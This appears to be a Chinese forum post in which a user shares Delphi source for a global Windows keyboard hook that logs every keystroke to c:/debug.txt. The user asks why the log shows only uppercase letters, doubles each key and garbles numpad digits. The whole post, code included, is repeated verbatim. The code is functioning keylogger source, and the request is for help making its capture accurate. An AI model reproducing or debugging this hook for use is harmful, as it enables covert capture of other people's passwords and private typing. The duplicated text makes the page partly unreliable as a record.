W
waterfish
Unregistered / Unconfirmed
GUEST, unregistred user!
我写了个hook键盘的程序,可以将输入的字母和数字存入一个文件,
但是在测试的时候我发现三个问题
1、输入的字母无论大写小写,但存在文件的字母永远都是大写
2、每输入一个字母或数字,存入盘里都成了两个字母和数字。比如说我输入
abc,但存在文件里的却成了"AABBCC"
3、当输入数字的时候,经常会出错。如果输入"009",经常存在盘里的是"``i"。我跟踪过wparam参数,这个时候是96 96 105.
这是我的源程序,如果有那位高手能给我一个完满的答案,我奉上200分
unit HookProc;
interface
uses
Windows, Messages, SysUtils, Controls, StdCtrls, Forms;
var
hnexthookproc:hhook;
procsaveexitointer;
debugfile:textfile; //定义一个日志文件
// delay : integer;
function KeyboardHookHandler(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export;
function SetKeyHook:bool;export; //加载钩子
function EndKeyHook:bool;export; //卸载钩子
procedure KeyHookExit;far;
const
afilename='c:/debug.txt'; //将键盘输入动作写入文件中
// delaytime=0;
implementation
function KeyboardHookHandler(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export;
Var FileOpened : Boolean;
begin
{ if delay<>0 then
begin
delay:=delay-1;
result:=0;
exit;
end;}
if icode<0 then
begin
result:=CallNextHookEX(hnexthookproc,icode,wparam,lparam);
exit;
end;
assignfile(debugfile,afilename);
try
append(debugfile); //以追加写打开文件
FileOpened:=True;
except
On EInOutError do
begin
try
if FileExists(afilename) = False then
begin
ReWrite(debugfile);
FileOpened := True;
end
else
begin
FileOpened := False;
Application.MessageBox('文件不能打开','错误',MB_OK+MB_ICONERROR);
end;
except
On EInOutError do
begin
FileOpened := False;
Application.MessageBox('文件不能创建','错误',MB_OK+MB_ICONERROR);
end;
end;
end;
end;
if FileOpened = False then
begin
result:=-1;
exit;
end;
// application.messagebox(PChar(inttostr(wparam)),'test',MB_OK);
if getkeystate(vk_return)<0 then
begin
writeln(debugfile,''); //回车以空格代替
write(debugfile,chr(wparam)); //写日志
end
else
write(debugfile,chr(wparam));
// write(debugfile,'W:'+IntToStr(wparam)+chr(wparam)+' '); //写日志
// write(debugfile,'L:'+inttostr(lparam and $80000000)+' ');
closefile(debugfile); //关文件
// delay:=delaytime;
result:=0;
end;
function SetKeyHook:Bool;export;
begin
Result := False;
// delay:=0;
if hNextHookProc <> 0 then Exit;
//建立Hook
hNextHookProc := SetWindowsHookEx(WH_KEYBOARD, //建立Hook的类型
KeyboardHookHandler, //Hook过程句柄(地址)
HInstance, //程序实例的句柄
0); //建立Hook的线程id
Result := hNextHookProc <> 0;
end;
function EndKeyHook:bool;export;
begin
if hnexthookproc<>0 then
begin
UnhookWindowsHookEX(hnexthookproc);
hnexthookproc:=0;
messagebeep(0);
end;
result:=hnexthookproc=0;
end;
procedure KeyHookExit;far;
begin
if hnexthookproc<>0 then endkeyhook;
exitproc:=procsaveexit;
end;
end.
但是在测试的时候我发现三个问题
1、输入的字母无论大写小写,但存在文件的字母永远都是大写
2、每输入一个字母或数字,存入盘里都成了两个字母和数字。比如说我输入
abc,但存在文件里的却成了"AABBCC"
3、当输入数字的时候,经常会出错。如果输入"009",经常存在盘里的是"``i"。我跟踪过wparam参数,这个时候是96 96 105.
这是我的源程序,如果有那位高手能给我一个完满的答案,我奉上200分
unit HookProc;
interface
uses
Windows, Messages, SysUtils, Controls, StdCtrls, Forms;
var
hnexthookproc:hhook;
procsaveexitointer;
debugfile:textfile; //定义一个日志文件
// delay : integer;
function KeyboardHookHandler(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export;
function SetKeyHook:bool;export; //加载钩子
function EndKeyHook:bool;export; //卸载钩子
procedure KeyHookExit;far;
const
afilename='c:/debug.txt'; //将键盘输入动作写入文件中
// delaytime=0;
implementation
function KeyboardHookHandler(icode:integer;wparam:wparam;lparam:lparam):lresult;stdcall;export;
Var FileOpened : Boolean;
begin
{ if delay<>0 then
begin
delay:=delay-1;
result:=0;
exit;
end;}
if icode<0 then
begin
result:=CallNextHookEX(hnexthookproc,icode,wparam,lparam);
exit;
end;
assignfile(debugfile,afilename);
try
append(debugfile); //以追加写打开文件
FileOpened:=True;
except
On EInOutError do
begin
try
if FileExists(afilename) = False then
begin
ReWrite(debugfile);
FileOpened := True;
end
else
begin
FileOpened := False;
Application.MessageBox('文件不能打开','错误',MB_OK+MB_ICONERROR);
end;
except
On EInOutError do
begin
FileOpened := False;
Application.MessageBox('文件不能创建','错误',MB_OK+MB_ICONERROR);
end;
end;
end;
end;
if FileOpened = False then
begin
result:=-1;
exit;
end;
// application.messagebox(PChar(inttostr(wparam)),'test',MB_OK);
if getkeystate(vk_return)<0 then
begin
writeln(debugfile,''); //回车以空格代替
write(debugfile,chr(wparam)); //写日志
end
else
write(debugfile,chr(wparam));
// write(debugfile,'W:'+IntToStr(wparam)+chr(wparam)+' '); //写日志
// write(debugfile,'L:'+inttostr(lparam and $80000000)+' ');
closefile(debugfile); //关文件
// delay:=delaytime;
result:=0;
end;
function SetKeyHook:Bool;export;
begin
Result := False;
// delay:=0;
if hNextHookProc <> 0 then Exit;
//建立Hook
hNextHookProc := SetWindowsHookEx(WH_KEYBOARD, //建立Hook的类型
KeyboardHookHandler, //Hook过程句柄(地址)
HInstance, //程序实例的句柄
0); //建立Hook的线程id
Result := hNextHookProc <> 0;
end;
function EndKeyHook:bool;export;
begin
if hnexthookproc<>0 then
begin
UnhookWindowsHookEX(hnexthookproc);
hnexthookproc:=0;
messagebeep(0);
end;
result:=hnexthookproc=0;
end;
procedure KeyHookExit;far;
begin
if hnexthookproc<>0 then endkeyhook;
exitproc:=procsaveexit;
end;
end.